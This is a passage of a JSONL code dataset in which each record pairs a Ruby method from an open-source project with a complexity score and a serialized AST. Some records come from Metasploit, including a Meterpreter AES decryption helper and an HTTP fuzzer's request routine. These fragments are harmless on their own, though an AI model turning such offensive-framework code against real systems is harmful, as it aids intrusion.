end","complexity_score":65.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_message_creator\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"post_action_types.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post_action_name\"]}]},{\"type\":\"str\",\"children\":[\".email_title\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"topic\"]},\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_locale\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"post_action_types.illegal.email_title\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"post_action_types.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post_action_name\"]}]},{\"type\":\"str\",\"children\":[\".email_body\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"ivar\",\"children\":[\"@message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"url\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_locale\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"post_action_types.illegal.email_body\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"create_args\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archetype\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Archetype\"]},\"private_message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_warning\"]},{\"type\":\"ivar\",\"children\":[\"@is_warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},\"truncate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_topic_title_length\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"separator\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post_action_name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"notify_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_args\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"subtype\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicSubtype\"]},\"notify_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_args\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"target_usernames\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"user\"]},\"username\"]}]},{\"type\":\"lvasgn\",\"children\":[\"handler_values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"post_action_notify_user_handlers\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"handler\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handler\"]},\"call\",{\"type\":\"ivar\",\"children\":[\"@created_by\"]},{\"type\":\"ivar\",\"children\":[\"@post\"]},{\"type\":\"ivar\",\"children\":[\"@message\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handler_values\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_args\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"subtype\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicSubtype\"]},\"notify_moderators\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_args\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"target_group_names\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"moderators\"]}]},\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_category_group_moderation?\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"topic\"]},\"category\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target_group_names\"]}]},\"push\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"category_moderation_groups\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category_moderation_groups.category_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"topic\"]},\"category\"]},\"id\"]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostCreator\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@created_by\"]},{\"type\":\"lvar\",\"children\":[\"create_args\"]}]}]}]}","id":"96886e1c-c783-4011-9b84-c763adb69f89"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/propagate_default.rb","start_line":48,"raw_source":"def config_set_default(name, defval)\n          CONFIGURABLE_CLASS_METHODS.instance_method(:config_set_default).bind_call(self, name, defval)\n          pparams = propagate_default_params\n          if pparams[name.to_s]\n            newer = pparams[name.to_s].to_sym\n\n            CONFIGURABLE_CLASS_METHODS.instance_method(:config_section).bind_call(self, :buffer) do\n              self.config_set_default newer, defval\n            end\n          end\n        end","complexity_score":20.5,"ast_json":"{\"type\":\"def\",\"children\":[\"config_set_default\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"defval\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONFIGURABLE_CLASS_METHODS\"]},\"instance_method\",{\"type\":\"sym\",\"children\":[\"config_set_default\"]}]},\"bind_call\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"defval\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pparams\",{\"type\":\"send\",\"children\":[null,\"propagate_default_params\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pparams\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"newer\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pparams\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]},\"to_sym\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONFIGURABLE_CLASS_METHODS\"]},\"instance_method\",{\"type\":\"sym\",\"children\":[\"config_section\"]}]},\"bind_call\",{\"type\":\"self\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"buffer\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"config_set_default\",{\"type\":\"lvar\",\"children\":[\"newer\"]},{\"type\":\"lvar\",\"children\":[\"defval\"]}]}]}]},null]}]}]}","id":"e1962f24-eeb4-43d4-81f5-73bba3274af1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/packet.rb","start_line":924,"raw_source":"def aes_decrypt(key, iv, data)\n    size = key.length * 8\n    raise ArgumentError.new('AES key width must be 128 or 256 bits') unless (size == 128 || size == 256)\n    # Create the required cipher instance\n    aes = OpenSSL::Cipher.new(\"AES-#{size}-CBC\")\n    # Generate a truly random IV\n\n    # set up the encryption\n    aes.decrypt\n    aes.key = key\n    aes.iv = iv\n\n    # decrypt!\n    aes.update(data) + aes.final\n  end","complexity_score":19.15,"ast_json":"{\"type\":\"def\",\"children\":[\"aes_decrypt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"iv\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"length\"]},\"*\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"==\",{\"type\":\"int\",\"children\":[128]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"==\",{\"type\":\"int\",\"children\":[256]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"str\",\"children\":[\"AES key width must be 128 or 256 bits\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"aes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Cipher\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"AES-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]}]},{\"type\":\"str\",\"children\":[\"-CBC\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aes\"]},\"decrypt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aes\"]},\"key=\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aes\"]},\"iv=\",{\"type\":\"lvar\",\"children\":[\"iv\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aes\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aes\"]},\"final\"]}]}]}]}","id":"0577a42a-7ad9-4d74-9aef-be9ae13c2175"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/nmap_document.rb","start_line":81,"raw_source":"def end_element(name=nil)\n      block = @block\n      case name\n      when \"os\"\n        collect_os_data\n        @state[:os] = {}\n      when \"port\"\n        collect_port_data\n        @state[:port] = {}\n      when \"host\" # Roll everything up now\n        collect_host_data\n        host_object = report_host &block\n        if host_object\n          db.report_import_note(@args[:workspace],host_object)\n          report_services(host_object,&block)\n          report_fingerprint(host_object)\n          report_uptime(host_object)\n          report_traceroute(host_object)\n        end\n        @state.delete_if {|k| k != :current_tag}\n        @report_data = {:workspace => @args[:workspace]}\n      when \"script\"\n        report_vulns\n      end\n      @state[:current_tag].delete name\n    end","complexity_score":39.7,"ast_json":"{\"type\":\"def\",\"children\":[\"end_element\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"block\",{\"type\":\"ivar\",\"children\":[\"@block\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"os\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collect_os_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"os\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"port\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collect_port_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"host\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collect_host_data\"]},{\"type\":\"lvasgn\",\"children\":[\"host_object\",{\"type\":\"send\",\"children\":[null,\"report_host\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_object\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db\"]},\"report_import_note\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"workspace\"]}]},{\"type\":\"lvar\",\"children\":[\"host_object\"]}]},{\"type\":\"send\",\"children\":[null,\"report_services\",{\"type\":\"lvar\",\"children\":[\"host_object\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[null,\"report_fingerprint\",{\"type\":\"lvar\",\"children\":[\"host_object\"]}]},{\"type\":\"send\",\"children\":[null,\"report_uptime\",{\"type\":\"lvar\",\"children\":[\"host_object\"]}]},{\"type\":\"send\",\"children\":[null,\"report_traceroute\",{\"type\":\"lvar\",\"children\":[\"host_object\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"!=\",{\"type\":\"sym\",\"children\":[\"current_tag\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@report_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"workspace\"]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"script\"]},{\"type\":\"send\",\"children\":[null,\"report_vulns\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_tag\"]}]},\"delete\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"f0596dd3-e10a-4fcd-b428-dc2fdc2e6f4d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/orchestration_template.rb","start_line":158,"raw_source":"def validate_format\n    raise NotImplementedError, _(\"validate_format must be implemented in subclass\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_format\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"validate_format must be implemented in subclass\"]}]}]}]}","id":"359ff316-7715-4495-9b74-9d4e007fa472"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/group_filter.rb","start_line":32,"raw_source":"def allowed_values\n    all_groups.map { |g| [g.name, g.id.to_s] }\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_groups\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"g\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"g\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"g\"]},\"id\"]},\"to_s\"]}]}]}]}","id":"4dec75ca-5941-445b-bbe0-3fe0fe7df69a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/chain/validate/abilities.rb","start_line":45,"raw_source":"def break?\n              @pipeline.errors.any?\n            end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"break?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pipeline\"]},\"errors\"]},\"any?\"]}]}","id":"5bc8344b-b2e3-4b9a-a654-b9ee3c8bbd0d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/suggestion.rb","start_line":12,"raw_source":"def initialize(text, line:, above:, below:, diff_file:)\n        @text = text\n        @target_line = line\n        @lines_above = above.to_i\n        @lines_below = below.to_i\n        @diff_file = diff_file\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"kwarg\",\"children\":[\"line\"]},{\"type\":\"kwarg\",\"children\":[\"above\"]},{\"type\":\"kwarg\",\"children\":[\"below\"]},{\"type\":\"kwarg\",\"children\":[\"diff_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@text\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@target_line\",{\"type\":\"lvar\",\"children\":[\"line\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@lines_above\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"above\"]},\"to_i\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@lines_below\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"below\"]},\"to_i\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@diff_file\",{\"type\":\"lvar\",\"children\":[\"diff_file\"]}]}]}]}","id":"d0e02f5c-21cb-452a-8fb9-55a30ca37b40"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/iax2/call.rb","start_line":159,"raw_source":"def ring_time\n    (self.ring_finish || ::Time.now).to_i - self.ring_start.to_i\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ring_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"ring_finish\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Time\"]},\"now\"]}]}]},\"to_i\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"ring_start\"]},\"to_i\"]}]}]}","id":"d76e1d58-51d6-4c86-9223-b9876c38aa91"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/service/steps_inspector.rb","start_line":43,"raw_source":"def emoji\n      \"#{result_emoji}#{unexpected_result_emoji}\"\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"emoji\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"result_emoji\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unexpected_result_emoji\"]}]}]}]}","id":"49910b42-e2e8-4582-b328-ddb7de66e6db"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/security/ci_configuration/sast_parser_service.rb","start_line":49,"raw_source":"def set_each(config_attributes, key:, with:)\n        config_attributes.each do |entity|\n          entity[key] = with[entity[:field]] if with[entity[:field]]\n        end\n      end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"set_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config_attributes\"]},{\"type\":\"kwarg\",\"children\":[\"key\"]},{\"type\":\"kwarg\",\"children\":[\"with\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_attributes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entity\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"field\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"field\"]}]}]}]},null]}]}]}","id":"b8813fe7-33ac-428a-ad73-b2dcb220bb9a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/emoji.rb","start_line":193,"raw_source":"def self.load_standard\n    emojis_db.map { |e| Emoji.create_from_db_item(e) }.compact\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"load_standard\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"emojis_db\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Emoji\"]},\"create_from_db_item\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},\"compact\"]}]}","id":"8970570b-c5d7-433c-9ec9-c494681f672c"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/rake/dbs_test.rb","start_line":24,"raw_source":"def set_database_url\n        ENV[\"DATABASE_URL\"] = \"sqlite3:#{database_url_db_name}\"\n        # ensure it's using the DATABASE_URL\n        FileUtils.rm_rf(\"#{app_path}/config/database.yml\")\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_database_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"DATABASE_URL\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"sqlite3:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"database_url_db_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_rf\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_path\"]}]},{\"type\":\"str\",\"children\":[\"/config/database.yml\"]}]}]}]}]}","id":"07b7447f-0353-4874-8e5d-899b461760ca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/projects/incidents_controller_spec.rb","start_line":72,"raw_source":"def make_request\n      get incident_project_issues_path(project, resource)\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"make_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"incident_project_issues_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"resource\"]}]}]}]}","id":"454ca12b-b956-4de3-a815-a78ff9052970"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb","start_line":35,"raw_source":"def do_http_get(uri = '', opts = {})\n    @connected = false\n    connect\n    @connected = true\n\n    sock.put(\"GET #{uri} HTTP/1.1\\r\\nHost: #{datastore['VHOST'] || rhost}\\r\\n\\r\\n\")\n    sock.get_once(-1, opts[:timeout] || 0.01)\n  end","complexity_score":17.53,"ast_json":"{\"type\":\"def\",\"children\":[\"do_http_get\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"uri\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@connected\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"ivasgn\",\"children\":[\"@connected\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"GET \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"str\",\"children\":[\" HTTP/1.1\\r\\nHost: 